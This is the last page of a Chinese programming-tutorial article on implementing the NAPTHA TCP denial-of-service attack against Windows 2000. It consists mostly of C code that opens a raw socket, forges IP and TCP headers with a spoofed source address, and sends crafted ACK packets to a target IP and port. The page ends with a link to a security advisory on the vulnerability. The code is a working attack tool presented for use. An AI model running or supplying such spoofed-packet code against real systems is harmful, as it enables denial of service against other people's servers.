当前位置:早雪网网络学院编程文档其他语言 → NAPTHA攻击方式在2K下的简单实现

NAPTHA攻击方式在2K下的简单实现

减小字体 增大字体 作者:未知  来源:supcode.com收集整理  发布时间:2005-7-1 14:50:57

        printf("Socket Setup Error!\n");
        return ;
    }

    flag=true;
    if (setsockopt(sock,IPPROTO_IP, IP_HDRINCL,(char *)&flag,sizeof(flag))==SOCKET_ERROR)
    {
        printf("setsockopt IP_HDRINCL error!\n");
        return ;
    }

    nTimeOver=1000;
    if (setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (char*)&nTimeOver, sizeof(nTimeOver))==SOCKET_ERROR)                                //设置发送的时间
    {
        printf("setsockopt SO_SNDTIMEO error!\n");
        return ;
    }
    addr_in.sin_family=AF_INET;
    addr_in.sin_port=htons(ATPORT);
    addr_in.sin_addr.S_un.S_addr=inet_addr(ATIP);
    ipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long));
    ipHeader.tos=0;
    ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader));     //IP总长度
    ipHeader.ident=1;
    ipHeader.frag_and_flags=0;                
    ipHeader.ttl=123;        
    ipHeader.proto=IPPROTO_TCP;
    ipHeader.checksum=0;
    ipHeader.destIP=inet_addr(ATIP);
    tcpHeader.th_dport=htons(ATPORT);
    tcpHeader.th_ack=htonl((ntohl(SEQ)+1));                
    tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0);
    tcpHeader.th_flag=0x10;         //    ack        
    tcpHeader.th_win=htons(512);
    tcpHeader.th_urp=0;
    tcpHeader.th_seq=ACK;
    psdHeader.daddr=ipHeader.destIP;
    psdHeader.mbz=0;
    psdHeader.ptcl=IPPROTO_TCP;
    psdHeader.tcpl=htons(sizeof(tcpHeader));

    ipHeader.sourceIP=inet_addr(SNOOPIP);
    tcpHeader.th_sport=SPort;
    tcpHeader.th_sum=0;
    psdHeader.saddr=ipHeader.sourceIP;
    memcpy(szSendBuf, &psdHeader, sizeof(psdHeader));
    memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader));
    tcpHeader.th_sum=checksum((USHORT *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader));
    memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
    memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));
    rect=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader), 0, (struct sockaddr*)&addr_in, sizeof(addr_in));
    if (rect==SOCKET_ERROR)
    {
        printf("send error!:%x\n",WSAGetLastError());
        return ;
    }
    else    printf("send ok!\n");
    closesocket(sock);

}

//参考文献: 《新型网络DoS(拒绝服务)攻击漏洞 - "Naptha"》
http://www.nsfocus.net/index.php?act=magazine&do=view&mid=721

上一页  [1] [2] [3] 

[数据载入中...] [返回上一页] [打 印]